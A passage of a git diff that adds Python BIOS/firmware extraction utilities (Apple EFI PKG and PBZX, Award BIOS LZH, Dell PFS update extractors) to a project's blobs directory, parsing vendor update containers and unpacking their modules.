padding) + + return 1 + + cpio_name = path_stem(input_file) if os.path.isfile(input_file) else 'Payload' + + cpio_path = os.path.join(extract_path, f'{cpio_name}.cpio') + + with open(cpio_path, 'wb') as cpio_object: + cpio_object.write(cpio_bin) + + # Decompress PBZX > CPIO archive with 7-Zip + if is_szip_supported(cpio_path, padding, args=['-tCPIO'], check=True): + if szip_decompress(cpio_path, extract_path, 'CPIO', padding, args=['-tCPIO'], check=True) == 0: + os.remove(cpio_path) # Successful extraction, delete PBZX > CPIO archive + else: + return 3 + else: + return 2 + + return 0 + +# Get common ctypes Structure Sizes +PBZX_CHUNK_HDR_LEN = ctypes.sizeof(PbzxChunk) + +if __name__ == '__main__': + BIOSUtility(TITLE, is_apple_pbzx, apple_pbzx_extract).run_utility() diff --git a/blobs/t480/biosutilities/Apple_EFI_PKG.py b/blobs/t480/biosutilities/Apple_EFI_PKG.py new file mode 100644 index 000000000..a185547db --- /dev/null +++ b/blobs/t480/biosutilities/Apple_EFI_PKG.py @@ -0,0 +1,148 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Apple EFI PKG +Apple EFI Package Extractor +Copyright (C) 2019-2022 Plato Mavropoulos +""" + +TITLE = 'Apple EFI Package Extractor v2.0_a5' + +import os +import sys + +# Stop __pycache__ generation +sys.dont_write_bytecode = True + +from common.comp_szip import is_szip_supported, szip_decompress +from common.path_ops import copy_file, del_dirs, get_path_files, make_dirs, path_name, path_parent, get_extract_path +from common.patterns import PAT_APPLE_PKG +from common.system import printer +from common.templates import BIOSUtility +from common.text_ops import file_to_bytes + +from Apple_EFI_ID import apple_efi_identify, is_apple_efi +from Apple_EFI_IM4P import apple_im4p_split, is_apple_im4p +from Apple_EFI_PBZX import apple_pbzx_extract, is_apple_pbzx + +# Check if input is Apple EFI PKG package +def is_apple_pkg(input_file): + input_buffer = file_to_bytes(input_file) + + return bool(PAT_APPLE_PKG.search(input_buffer[:0x4])) + +# Split Apple EFI image (if applicable) and Rename +def efi_split_rename(in_file, out_path, padding=0): + exit_codes = [] + + working_dir = get_extract_path(in_file) + + if is_apple_im4p(in_file): + printer(f'Splitting IM4P via {is_apple_im4p.__module__}...', padding) + im4p_exit = apple_im4p_split(in_file, working_dir, padding + 4) + exit_codes.append(im4p_exit) + else: + make_dirs(working_dir, delete=True) + copy_file(in_file, working_dir, True) + + for efi_file in get_path_files(working_dir): + if is_apple_efi(efi_file): + printer(f'Renaming EFI via {is_apple_efi.__module__}...', padding) + name_exit = apple_efi_identify(efi_file, efi_file, padding + 4, True) + exit_codes.append(name_exit) + + for named_file in get_path_files(working_dir): + copy_file(named_file, out_path, True) + + del_dirs(working_dir) + + return sum(exit_codes) + +# Parse & Extract Apple EFI PKG packages +def apple_pkg_extract(input_file, extract_path, padding=0): + if not os.path.isfile(input_file): + printer('Error: Could not find input file path!', padding) + return 1 + + make_dirs(extract_path, delete=True) + + xar_path = os.path.join(extract_path, 'xar') + + # Decompress PKG > XAR archive with 7-Zip + if is_szip_supported(input_file, padding, args=['-tXAR'], check=True): + if szip_decompress(input_file, xar_path, 'XAR', padding, args=['-tXAR'], check=True) != 0: + return 3 + else: + return 2 + + for xar_file in get_path_files(xar_path): + if path_name(xar_file) == 'Payload': + pbzx_module = is_apple_pbzx.__module__ + if is_apple_pbzx(xar_file): + printer(f'Extracting PBZX via {pbzx_module}...', padding + 4) + pbzx_path = get_extract_path(xar_file) + if apple_pbzx_extract(xar_file, pbzx_path, padding + 8) == 0: + printer(f'Succesfull PBZX extraction via {pbzx_module}!', padding + 4) + for pbzx_file in get_path_files(pbzx_path): + if path_name(pbzx_file) == 'UpdateBundle.zip': + if is_szip_supported(pbzx_file, padding + 8, args=['-tZIP'], check=True): + zip_path = get_extract_path(pbzx_file) + if szip_decompress(pbzx_file, zip_path, 'ZIP', padding + 8, args=['-tZIP'], check=True) == 0: + for zip_file in get_path_files(zip_path): + if path_name(path_parent(zip_file)) == 'MacEFI': + printer(path_name(zip_file), padding + 12) + if efi_split_rename(zip_file, extract_path, padding + 16) != 0: + printer(f'Error: Could not split and rename {path_name(zip_file)}!', padding) + return 10 + else: + return 9 + else: + return 8 + break # ZIP found, stop + else: + printer('Error: Could not find "UpdateBundle.zip" file!', padding) + return 7 + else: + printer(f'Error: Failed to extract PBZX file via {pbzx_module}!', padding) + return 6 + else: + printer(f'Error: Failed to detect file as PBZX via {pbzx_module}!', padding) + return 5 + + break # Payload found, stop searching + + if path_name(xar_file) == 'Scripts': + if is_szip_supported(xar_file, padding + 4, args=['-tGZIP'], check=True): + gzip_path = get_extract_path(xar_file) + if szip_decompress(xar_file, gzip_path, 'GZIP', padding + 4, args=['-tGZIP'], check=True) == 0: + for gzip_file in get_path_files(gzip_path): + if is_szip_supported(gzip_file, padding + 8, args=['-tCPIO'], check=True): + cpio_path = get_extract_path(gzip_file) + if szip_decompress(gzip_file, cpio_path, 'CPIO', padding + 8, args=['-tCPIO'], check=True) == 0: + for cpio_file in get_path_files(cpio_path): + if path_name(path_parent(cpio_file)) == 'EFIPayloads': + printer(path_name(cpio_file), padding + 12) + if efi_split_rename(cpio_file, extract_path, padding + 16) != 0: + printer(f'Error: Could not split and rename {path_name(cpio_file)}!', padding) + return 15 + else: + return 14 + else: + return 13 + else: + return 12 + else: + return 11 + + break # Scripts found, stop searching + else: + printer('Error: Could not find "Payload" or "Scripts" file!', padding) + return 4 + + del_dirs(xar_path) # Delete temporary/working XAR folder + + return 0 + +if __name__ == '__main__': + BIOSUtility(TITLE, is_apple_pkg, apple_pkg_extract).run_utility() diff --git a/blobs/t480/biosutilities/Award_BIOS_Extract.py b/blobs/t480/biosutilities/Award_BIOS_Extract.py new file mode 100644 index 000000000..12d1e9698 --- /dev/null +++ b/blobs/t480/biosutilities/Award_BIOS_Extract.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Award BIOS Extract +Award BIOS Module Extractor +Copyright (C) 2018-2022 Plato Mavropoulos +""" + +TITLE = 'Award BIOS Module Extractor v2.0_a5' + +import os +import sys + +# Stop __pycache__ generation +sys.dont_write_bytecode = True + +from common.comp_szip import szip_decompress +from common.path_ops import make_dirs, safe_name, get_extract_path +from common.patterns import PAT_AWARD_LZH +from common.system import printer +from common.templates import BIOSUtility +from common.text_ops import file_to_bytes + +# Check if input is Award BIOS image +def is_award_bios(in_file): + in_buffer = file_to_bytes(in_file) + + return bool(PAT_AWARD_LZH.search(in_buffer)) + +# Parse & Extract Award BIOS image +def award_bios_extract(input_file, extract_path, padding=0): + input_buffer = file_to_bytes(input_file) + + make_dirs(extract_path, delete=True) + + for lzh_match in PAT_AWARD_LZH.finditer(input_buffer): + lzh_type = lzh_match.group(0).decode('utf-8') + lzh_text = f'LZH-{lzh_type.strip("-").upper()}' + + lzh_bgn = lzh_match.start() + + mod_bgn = lzh_bgn - 0x2 + hdr_len = input_buffer[mod_bgn] + mod_len = int.from_bytes(input_buffer[mod_bgn + 0x7:mod_bgn + 0xB], 'little') + mod_end = lzh_bgn + hdr_len + mod_len + mod_bin = input_buffer[mod_bgn:mod_end] + + tag_bgn = mod_bgn + 0x16 + tag_end = tag_bgn + input_buffer[mod_bgn + 0x15] + tag_txt = input_buffer[tag_bgn:tag_end].decode('utf-8','ignore') + + printer(f'{lzh_text} > {tag_txt} [0x{mod_bgn:06X}-0x{mod_end:06X}]', padding) + + mod_path = os.path.join(extract_path, safe_name(tag_txt)) + lzh_path = f'{mod_path}.lzh' + + with open(lzh_path, 'wb') as lzh_file: + lzh_file.write(mod_bin) # Store LZH archive + + # 7-Zip returns critical exit code (i.e. 2) if LZH CRC is wrong, do not check result + szip_decompress(lzh_path, extract_path, lzh_text, padding + 4, check=False) + + # Manually check if 7-Zip extracted LZH due to its CRC check issue + if os.path.isfile(mod_path): + os.remove(lzh_path) # Successful extraction, delete LZH archive + + # Extract any nested LZH archives + if is_award_bios(mod_path): + # Recursively extract nested Award BIOS modules + award_bios_extract(mod_path, get_extract_path(mod_path), padding + 8) + +if __name__ == '__main__': + BIOSUtility(TITLE, is_award_bios, award_bios_extract).run_utility() diff --git a/blobs/t480/biosutilities/Dell_PFS_Extract.py b/blobs/t480/biosutilities/Dell_PFS_Extract.py new file mode 100644 index 000000000..b8cb68653 --- /dev/null +++ b/blobs/t480/biosutilities/Dell_PFS_Extract.py @@ -0,0 +1,1067 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Dell PFS Extract +Dell PFS Update Extractor +Copyright (C) 2018-2022 Plato Mavropoulos +""" + +TITLE = 'Dell PFS Update Extractor v6.0_a16' + +import os +import io +import sys +import lzma +import zlib +import ctypes +import contextlib + +# Skip __pycache__ generation +sys.dont_write_bytecode = True + +from common.checksums import get_chk_8_xor +from common.comp_szip import is_szip_supported, szip_decompress +from common.num_ops import get_ordinal +from common.path_ops import del_dirs, get_path_files, make_dirs, path_name, path_parent, path_stem, safe_name +from common.patterns import PAT_DELL_FTR, PAT_DELL_HDR, PAT_DELL_PKG +from common.struct_ops import char, get_struct, uint8_t, uint16_t, uint32_t, uint64_t +from common.system import printer +from common.templates import BIOSUtility +from common.text_ops import file_to_bytes + +from AMI_PFAT_Extract import IntelBiosGuardHeader, IntelBiosGuardSignature2k, parse_bg_script + +# Dell PFS Header Structure +class DellPfsHeader(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('Tag', char*8), # 0x00 + ('HeaderVersion', uint32_t), # 0x08 + ('PayloadSize', uint32_t), # 0x0C + # 0x10 + ] + + def struct_print(self, p): + printer(['Header Tag :', self.Tag.decode('utf-8')], p, False) + printer(['Header Version:', self.HeaderVersion], p, False) + printer(['Payload Size :', f'0x{self.PayloadSize:X}'], p, False) + +# Dell PFS Footer Structure +class DellPfsFooter(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('PayloadSize', uint32_t), # 0x00 + ('Checksum', uint32_t), # 0x04 ~CRC32 w/ Vector 0 + ('Tag', char*8), # 0x08 + # 0x10 + ] + + def struct_print(self, p): + printer(['Payload Size :', f'0x{self.PayloadSize:X}'], p, False) + printer(['Payload Checksum:', f'0x{self.Checksum:08X}'], p, False) + printer(['Footer Tag :', self.Tag.decode('utf-8')], p, False) + +# Dell PFS Entry Base Structure +class DellPfsEntryBase(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('GUID', uint32_t*4), # 0x00 Little Endian + ('HeaderVersion', uint32_t), # 0x10 1 or 2 + ('VersionType', uint8_t*4), # 0x14 + ('Version', uint16_t*4), # 0x18 + ('Reserved', uint64_t), # 0x20 + ('DataSize', uint32_t), # 0x28 + ('DataSigSize', uint32_t), # 0x2C + ('DataMetSize', uint32_t), # 0x30 + ('DataMetSigSize', uint32_t), # 0x34 + # 0x38 (parent class, base) + ] + + def struct_print(self, p): + GUID = f'{int.from_bytes(self.GUID, "little"):0{0x10 * 2}X}' + Unknown = f'{int.from_bytes(self.Unknown, "little"):0{len(self.Unknown) * 8}X}' + Version = get_entry_ver(self.Version, self.VersionType) + + printer(['Entry GUID :', GUID], p, False) + printer(['Entry Version :', self.HeaderVersion], p, False) + printer(['Payload Version :', Version], p, False) + printer(['Reserved :', f'0x{self.Reserved:X}'], p, False) + printer(['Payload Data Size :', f'0x{self.DataSize:X}'], p, False) + printer(['Payload Signature Size :', f'0x{self.DataSigSize:X}'], p, False) + printer(['Metadata Data Size :', f'0x{self.DataMetSize:X}'], p, False) + printer(['Metadata Signature Size:', f'0x{self.DataMetSigSize:X}'], p, False) + printer(['Unknown :', f'0x{Unknown}'], p, False) + +# Dell PFS Entry Revision 1 Structure +class DellPfsEntryR1(DellPfsEntryBase): + _pack_ = 1 + _fields_ = [ + ('Unknown', uint32_t*4), # 0x38 + # 0x48 (child class, R1) + ] + +# Dell PFS Entry Revision 2 Structure +class DellPfsEntryR2(DellPfsEntryBase): + _pack_ = 1 + _fields_ = [ + ('Unknown', uint32_t*8), # 0x38 + # 0x58 (child class, R2) + ] + +# Dell PFS Information Header Structure +class DellPfsInfo(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('HeaderVersion', uint32_t), # 0x00 + ('GUID', uint32_t*4), # 0x04 Little Endian + # 0x14 + ] + + def struct_print(self, p): + GUID = f'{int.from_bytes(self.GUID, "little"):0{0x10 * 2}X}' + + printer(['Info Version:', self.HeaderVersion], p, False) + printer(['Entry GUID :', GUID], p, False) + +# Dell PFS FileName Header Structure +class DellPfsName(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('Version', uint16_t*4), # 0x00 + ('VersionType', uint8_t*4), # 0x08 + ('CharacterCount', uint16_t), # 0x0C UTF-16 2-byte Characters + # 0x0E + ] + + def struct_print(self, p, name): + Version = get_entry_ver(self.Version, self.VersionType) + + printer(['Payload Version:', Version], p, False) + printer(['Character Count:', self.CharacterCount], p, False) + printer(['Payload Name :', name], p, False) + +# Dell PFS Metadata Header Structure +class DellPfsMetadata(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('ModelIDs', char*501), # 0x000 + ('FileName', char*100), # 0x1F5 + ('FileVersion', char*33), # 0x259 + ('Date', char*33), # 0x27A + ('Brand', char*80), # 0x29B + ('ModelFile', char*80), # 0x2EB + ('ModelName', char*100), # 0x33B + ('ModelVersion', char*33), # 0x39F + # 0x3C0 + ] + + def struct_print(self, p): + printer(['Model IDs :', self.ModelIDs.decode('utf-8').strip(',END')], p, False) + printer(['File Name :', self.FileName.decode('utf-8')], p, False) + printer(['File Version :', self.FileVersion.decode('utf-8')], p, False) + printer(['Date :', self.Date.decode('utf-8')], p, False) + printer(['Brand :', self.Brand.decode('utf-8')], p, False) + printer(['Model File :', self.ModelFile.decode('utf-8')], p, False) + printer(['Model Name :', self.ModelName.decode('utf-8')], p, False) + printer(['Model Version:', self.ModelVersion.decode('utf-8')], p, False) + +# Dell PFS BIOS Guard Metadata Structure +class DellPfsPfatMetadata(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('Address', uint32_t), # 0x00 + ('Unknown0', uint32_t), # 0x04 + ('Offset', uint32_t), # 0x08 Matches BG Script > I0 + ('DataSize', uint32_t), # 0x0C Matches BG Script > I2 & Header > Data Size + ('Unknown1', uint32_t), # 0x10 + ('Unknown2', uint32_t), # 0x14 + ('Unknown3', uint8_t), # 0x18 + # 0x19 + ] + + def struct_print(self, p): + printer(['Address :', f'0x{self.Address:X}'], p, False) + printer(['Unknown 0:', f'0x{self.Unknown0:X}'], p, False) + printer(['Offset :', f'0x{self.Offset:X}'], p, False) + printer(['Length :', f'0x{self.DataSize:X}'], p, False) + printer(['Unknown 1:', f'0x{self.Unknown1:X}'], p, False) + printer(['Unknown 2:', f'0x{self.Unknown2:X}'], p, False) + printer(['Unknown 3:', f'0x{self.Unknown3:X}'], p, False) + +# The Dell ThinOS PKG update images usually contain multiple sections. +# Each section starts with a 0x30 header, which begins with pattern 72135500. +# The section length is found at 0x10-0x14 and its (optional) MD5 hash at 0x20-0x30. +# Section data can be raw or LZMA2 (7zXZ) compressed. The latter contains the PFS update image. +def is_pfs_pkg(input_file): + input_buffer = file_to_bytes(input_file) + + return PAT_DELL_PKG.search(input_buffer) + +# The Dell PFS update images usually contain multiple sections. +# Each section is zlib-compressed with header pattern ********++EEAA761BECBB20F1E651--789C, +# where ******** is the zlib stream size, ++ is the section type and -- the header Checksum XOR 8. +# The "Firmware" section has type AA and its files are stored in PFS format. +# The "Utility" section has type BB and its files are stored in PFS, BIN or 7z formats. +def is_pfs_hdr(input_file): + input_buffer = file_to_bytes(input_file) + + return bool(PAT_DELL_HDR.search(input_buffer)) + +# Each section is followed by the footer pattern ********EEAAEE8F491BE8AE143790--, +# where ******** is the zlib stream size and ++ the footer Checksum XOR 8. +def is_pfs_ftr(input_file): + input_buffer = file_to_bytes(input_file) + + return bool(PAT_DELL_FTR.search(input_buffer)) + +# Check if input is Dell PFS/PKG image +def is_dell_pfs(input_file): + input_buffer = file_to_bytes(input_file) + + is_pkg = is_pfs_pkg(input_buffer) + + is_hdr = is_pfs_hdr(input_buffer) + + is_ftr = is_pfs_ftr(input_buffer) + + return bool(is_pkg or is_hdr and is_ftr) + +# Parse & Extract Dell PFS Update image +def pfs_pkg_parse(input_file, extract_path, padding=0, structure=True, advanced=True): + input_buffer = file_to_bytes(input_file) + + make_dirs(extract_path, delete=True) + + is_dell_pkg = is_pfs_pkg(input_buffer) + + if is_dell_pkg: + pfs_results = thinos_pkg_extract(input_buffer, extract_path) + else: + pfs_results = {path_stem(input_file) if os.path.isfile(input_file) else 'Image': input_buffer} + + # Parse each Dell PFS image contained in the input file + for pfs_index,(pfs_name,pfs_buffer) in enumerate(pfs_results.items(), start=1): + # At ThinOS PKG packages, multiple PFS images may be included in separate model-named folders + pfs_path = os.path.join(extract_path, f'{pfs_index} {pfs_name}') if is_dell_pkg else extract_path + # Parse each PFS ZLIB section + for zlib_offset in get_section_offsets(pfs_buffer): + # Call the PFS ZLIB section parser function + pfs_section_parse(pfs_buffer, zlib_offset, pfs_path, pfs_name, pfs_index, 1, False, padding, structure, advanced) + +# Extract Dell ThinOS PKG 7zXZ +def thinos_pkg_extract(input_file, extract_path): + input_buffer = file_to_bytes(input_file) + + # Initialize PFS results (Name: Buffer) + pfs_results = {} + + # Search input image for ThinOS PKG 7zXZ header + thinos_pkg_match = PAT_DELL_PKG.search(input_buffer) + + lzma_len_off = thinos_pkg_match.start() + 0x10 + lzma_len_int = int.from_bytes(input_buffer[lzma_len_off:lzma_len_off + 0x4], 'little') + lzma_bin_off = thinos_pkg_match.end() - 0x5 + lzma_bin_dat = input_buffer[lzma_bin_off:lzma_bin_off + lzma_len_int] + + # Check if the compressed 7zXZ stream is complete + if len(lzma_bin_dat) != lzma_len_int: + return pfs_results + + working_path = os.path.join(extract_path, 'THINOS_PKG_TEMP') + + make_dirs(working_path, delete=True) + + pkg_tar_path = os.path.join(working_path, 'THINOS_PKG.TAR') + + with open(pkg_tar_path, 'wb') as pkg_payload: + pkg_payload.write(lzma.decompress(lzma_bin_dat)) + + if is_szip_supported(pkg_tar_path, 0, args=['-tTAR'], check=True, silent=True): + if szip_decompress(pkg_tar_path, working_path, 'TAR', 0, args=['-tTAR'], check=True, silent=True) == 0: + os.remove(pkg_tar_path) + else: + return pfs_results + else: + return pfs_results + + for pkg_file in get_path_files(working_path): + if is_pfs_hdr(pkg_file): + pfs_name = path_name(path_parent(pkg_file)) + pfs_results.update({pfs_name: file_to_bytes(pkg_file)}) + + del_dirs(working_path) + + return pfs_results + +# Get PFS ZLIB Section Offsets +def get_section_offsets(buffer): + pfs_zlib_list = [] # Initialize PFS ZLIB offset list + + pfs_zlib_init = list(PAT_DELL_HDR.finditer(buffer)) + + if not pfs_zlib_init: + return pfs_zlib_list # No PFS ZLIB detected + + # Remove duplicate/nested PFS ZLIB offsets + for zlib_c in pfs_zlib_init: + is_duplicate = False # Initialize duplicate/nested PFS ZLIB offset + + for zlib_o in pfs_zlib_init: + zlib_o_size = int.from_bytes(buffer[zlib_o.start() - 0x5:zlib_o.start() - 0x1], 'little') + + # If current PFS ZLIB offset is within another PFS ZLIB range (start-end), set as duplicate + if zlib_o.start() < zlib_c.start() < zlib_o.start() + zlib_o_size: + is_duplicate = True + + if not is_duplicate: + pfs_zlib_list.append(zlib_c.start()) + + return pfs_zlib_list + +# Dell PFS ZLIB Section Parser +def pfs_section_parse(zlib_data, zlib_start, extract_path, pfs_name, pfs_index, pfs_count, is_rec, padding=0, structure=True, advanced=True): + is_zlib_error = False # Initialize PFS ZLIB-related error state + + section_type = zlib_data[zlib_start - 0x1] # Byte before PFS ZLIB Section pattern is Section Type (e.g. AA, BB) + section_name = {0xAA:'Firmware', 0xBB:'Utilities'}.get(section_type, f'Unknown ({section_type:02X})') + + # Show extraction complete message for each main PFS ZLIB Section + printer(f'Extracting Dell PFS {pfs_index} > {pfs_name} > {section_name}', padding) + + # Set PFS ZLIB Section extraction sub-directory path + section_path = os.path.join(extract_path, safe_name(section_name)) + + # Create extraction sub-directory and delete old (if present, not in recursions) + make_dirs(section_path, delete=(not is_rec), parents=True, exist_ok=True) + + # Store the compressed zlib stream start offset + compressed_start = zlib_start + 0xB + + # Store the PFS ZLIB section header start offset + header_start = zlib_start - 0x5 + + # Store the PFS ZLIB section header contents (16 bytes) + header_data = zlib_data[header_start:compressed_start] + + # Check if the PFS ZLIB section header Checksum XOR 8 is valid + if get_chk_8_xor(header_data[:0xF]) != header_data[0xF]: + printer('Error: Invalid Dell PFS ZLIB section Header Checksum!', padding) + is_zlib_error = True + + # Store the compressed zlib stream size from the header contents + compressed_size_hdr = int.from_bytes(header_data[:0x4], 'little') + + # Store the compressed zlib stream end offset + compressed_end = compressed_start + compressed_size_hdr + + # Store the compressed zlib stream contents + compressed_data = zlib_data[compressed_start:compressed_end] + + # Check if the compressed zlib stream is complete, based on header + if len(compressed_data) != compressed_size_hdr: + printer('Error: Incomplete Dell PFS ZLIB section data (Header)!', padding) + is_zlib_error = True + + # Store the PFS ZLIB section footer contents (16 bytes) + footer_data = zlib_data[compressed_end:compressed_end + 0x10] + + # Check if PFS ZLIB section footer was found in the section + if not is_pfs_ftr(footer_data): + printer('Error: This Dell PFS ZLIB section is corrupted!', padding) + is_zlib_error = True + + # Check if the PFS ZLIB section footer Checksum XOR 8 is valid + if get_chk_8_xor(footer_data[:0xF]) != footer_data[0xF]: + printer('Error: Invalid Dell PFS ZLIB section Footer Checksum!', padding) + is_zlib_error = True + + # Store the compressed zlib stream size from the footer contents + compressed_size_ftr = int.from_bytes(footer_data[:0x4], 'little') + + # Check if the compressed zlib stream is complete, based on footer + if compressed_size_ftr != compressed_size_hdr: + printer('Error: Incomplete Dell PFS ZLIB section data (Footer)!', padding) + is_zlib_error = True + + # Decompress PFS ZLIB section payload + try: + if is_zlib_error: + raise Exception('ZLIB_ERROR') # ZLIB errors are critical + section_data = zlib.decompress(compressed_data) # ZLIB decompression + except Exception: + section_data = zlib_data # Fallback to raw ZLIB data upon critical error + + # Call the PFS Extract function on the decompressed PFS ZLIB Section + pfs_extract(section_data, pfs_index, pfs_name, pfs_count, section_path, padding, structure, advanced) + +# Parse & Extract Dell PFS Volume +def pfs_extract(buffer, pfs_index, pfs_name, pfs_count, extract_path, padding=0, structure=True, advanced=True): + # Show PFS Volume indicator + if structure: + printer('PFS Volume:', padding) + + # Get PFS Header Structure values + pfs_hdr = get_struct(buffer, 0, DellPfsHeader) + + # Validate that a PFS Header was parsed + if pfs_hdr.Tag != b'PFS.HDR.': + printer('Error: PFS Header could not be found!', padding + 4) + + return # Critical error, abort + + # Show PFS Header Structure info + if structure: + printer('PFS Header:\n', padding + 4) + pfs_hdr.struct_print(padding + 8) + + # Validate that a known PFS Header Version was encountered + chk_hdr_ver(pfs_hdr.HeaderVersion, 'PFS', padding + 8) + + # Get PFS Payload Data + pfs_payload = buffer[PFS_HEAD_LEN:PFS_HEAD_LEN + pfs_hdr.PayloadSize] + + # Parse all PFS Payload Entries/Components + entry_index = 1 # Index number of each PFS Entry + entry_start = 0 # Increasing PFS Entry starting offset + entries_all = [] # Storage for each PFS Entry details + filename_info = [] # Buffer for FileName Information Entry Data + signature_info = [] # Buffer for Signature Information Entry Data + pfs_entry_struct,pfs_entry_size = get_pfs_entry(pfs_payload, entry_start) # Get PFS Entry Info + while len(pfs_payload[entry_start:entry_start + pfs_entry_size]) == pfs_entry_size: + # Analyze PFS Entry Structure and get relevant info + _,entry_version,entry_guid,entry_data,entry_data_sig,entry_met,entry_met_sig,next_entry = \ + parse_pfs_entry(pfs_payload, entry_start, pfs_entry_size, pfs_entry_struct, 'PFS Entry', padding, structure) + + entry_type = 'OTHER' # Adjusted later if PFS Entry is Zlib, PFAT, PFS Info, Model Info + + # Get PFS Information from the PFS Entry with GUID E0717CE3A9BB25824B9F0DC8FD041960 or B033CB16EC9B45A14055F80E4D583FD3 + if entry_guid in ['E0717CE3A9BB25824B9F0DC8FD041960','B033CB16EC9B45A14055F80E4D583FD3']: + filename_info = entry_data + entry_type = 'NAME_INFO' + + # Get Model Information from the PFS Entry with GUID 6F1D619A22A6CB924FD4DA68233AE3FB + elif entry_guid == '6F1D619A22A6CB924FD4DA68233AE3FB': + entry_type = 'MODEL_INFO' + + # Get Signature Information from the PFS Entry with GUID D086AFEE3ADBAEA94D5CED583C880BB7 + elif entry_guid == 'D086AFEE3ADBAEA94D5CED583C880BB7': + signature_info = entry_data + entry_type = 'SIG_INFO' + + # Get Nested PFS from the PFS Entry with GUID 900FAE60437F3AB14055F456AC9FDA84 + elif entry_guid == '900FAE60437F3AB14055F456AC9FDA84': + entry_type = 'NESTED_PFS' # Nested PFS are usually zlib-compressed so it might change to 'ZLIB' later + + # Store all relevant PFS Entry details + entries_all.append([entry_index, entry_guid, entry_version, entry_type, entry_data, entry_data_sig, entry_met, entry_met_sig]) + + entry_index += 1 # Increase PFS Entry Index number for user-friendly output and name duplicates + entry_start = next_entry # Next PFS Entry starts after PFS Entry Metadata Signature + + # Parse all PFS Information Entries/Descriptors + info_start = 0 # Increasing PFS Information Entry starting offset + info_all = [] # Storage for each PFS Information Entry details + while len(filename_info[info_start:info_start + PFS_INFO_LEN]) == PFS_INFO_LEN: + # Get PFS Information Header Structure info + entry_info_hdr = get_struct(filename_info, info_start, DellPfsInfo) + + # Show PFS Information Header Structure info + if structure: + printer('PFS Information Header:\n', padding + 4) + entry_info_hdr.struct_print(padding + 8) + + # Validate that a known PFS Information Header Version was encountered + if entry_info_hdr.HeaderVersion != 1: + printer(f'Error: Unknown PFS Information Header Version {entry_info_hdr.HeaderVersion}!', padding + 8) + break # Skip PFS Information Entries/Descriptors in case of unknown PFS Information Header Version + + # Get PFS Information Header GUID in Big Endian format to match each Info to the equivalent stored PFS Entry details + entry_guid = f'{int.from_bytes(entry_info_hdr.GUID, "little"):0{0x10 * 2}X}' + + # Get PFS FileName Structure values + entry_info_mod = get_struct(filename_info, info_start + PFS_INFO_LEN, DellPfsName) + + # The PFS FileName Structure is not complete by itself. The size of the last field (Entry Name) is determined from + # CharacterCount multiplied by 2 due to usage of UTF-16 2-byte Characters. Any Entry Name leading and/or trailing + # space/null characters are stripped and common Windows reserved/illegal filename characters are replaced + name_start = info_start + PFS_INFO_LEN + PFS_NAME_LEN # PFS Entry's FileName start offset + name_size = entry_info_mod.CharacterCount * 2 # PFS Entry's FileName buffer total size + name_data = filename_info[name_start:name_start + name_size] # PFS Entry's FileName buffer + entry_name = safe_name(name_data.decode('utf-16').strip()) # PFS Entry's FileName value + + # Show PFS FileName Structure info + if structure: + printer('PFS FileName Entry:\n', padding + 8) + entry_info_mod.struct_print(padding + 12, entry_name) + + # Get PFS FileName Version string via "Version" and "VersionType" fields + # PFS FileName Version string must be preferred over PFS Entry's Version + entry_version = get_entry_ver(entry_info_mod.Version, entry_info_mod.VersionType) + + # Store all relevant PFS FileName details + info_all.append([entry_guid, entry_name, entry_version]) + + # The next PFS Information Header starts after the calculated FileName size + # Two space/null characters seem to always exist after each FileName value + info_start += (PFS_INFO_LEN + PFS_NAME_LEN + name_size + 0x2) + + # Parse Nested PFS Metadata when its PFS Information Entry is missing + for index in range(len(entries_all)): + if entries_all[index][3] == 'NESTED_PFS' and not filename_info: + entry_guid = entries_all[index][1] # Nested PFS Entry GUID in Big Endian format + entry_metadata = entries_all[index][6] # Use Metadata as PFS Information Entry + + # When PFS Information Entry exists, Nested PFS Metadata contains only Model IDs + # When it's missing, the Metadata structure is large and contains equivalent info + if len(entry_metadata) >= PFS_META_LEN: + # Get Nested PFS Metadata Structure values + entry_info = get_struct(entry_metadata, 0, DellPfsMetadata) + + # Show Nested PFS Metadata Structure info + if structure: + printer('PFS Metadata Information:\n', padding + 4) + entry_info.struct_print(padding + 8) + + # As Nested PFS Entry Name, we'll use the actual PFS File Name + # Replace common Windows reserved/illegal filename characters + entry_name = safe_name(entry_info.FileName.decode('utf-8').strip('.exe')) + + # As Nested PFS Entry Version, we'll use the actual PFS File Version + entry_version = entry_info.FileVersion.decode('utf-8') + + # Store all relevant Nested PFS Metadata/Information details + info_all.append([entry_guid, entry_name, entry_version]) + + # Re-set Nested PFS Entry Version from Metadata + entries_all[index][2] = entry_version + + # Parse all PFS Signature Entries/Descriptors + sign_start = 0 # Increasing PFS Signature Entry starting offset + while len(signature_info[sign_start:sign_start + PFS_INFO_LEN]) == PFS_INFO_LEN: + # Get PFS Information Header Structure info + entry_info_hdr = get_struct(signature_info, sign_start, DellPfsInfo) + + # Show PFS Information Header Structure info + if structure: + printer('PFS Information Header:\n', padding + 4) + entry_info_hdr.struct_print(padding + 8) + + # Validate that a known PFS Information Header Version was encountered + if entry_info_hdr.HeaderVersion != 1: + printer(f'Error: Unknown PFS Information Header Version {entry_info_hdr.HeaderVersion}!', padding + 8) + break # Skip PFS Signature Entries/Descriptors in case of unknown Header Version + + # PFS Signature Entries/Descriptors have DellPfsInfo + DellPfsEntryR* + Sign Size [0x2] + Sign Data [Sig Size] + pfs_entry_struct, pfs_entry_size = get_pfs_entry(signature_info, sign_start + PFS_INFO_LEN) # Get PFS Entry Info + + # Get PFS Entry Header Structure info + entry_hdr = get_struct(signature_info, sign_start + PFS_INFO_LEN, pfs_entry_struct) + + # Show PFS Information Header Structure info + if structure: + printer('PFS Information Entry:\n', padding + 8) + entry_hdr.struct_print(padding + 12) + + # Show PFS Signature Size & Data (after DellPfsEntryR*) + sign_info_start = sign_start + PFS_INFO_LEN + pfs_entry_size + sign_size = int.from_bytes(signature_info[sign_info_start:sign_info_start + 0x2], 'little') + sign_data_raw = signature_info[sign_info_start + 0x2:sign_info_start + 0x2 + sign_size] + sign_data_txt = 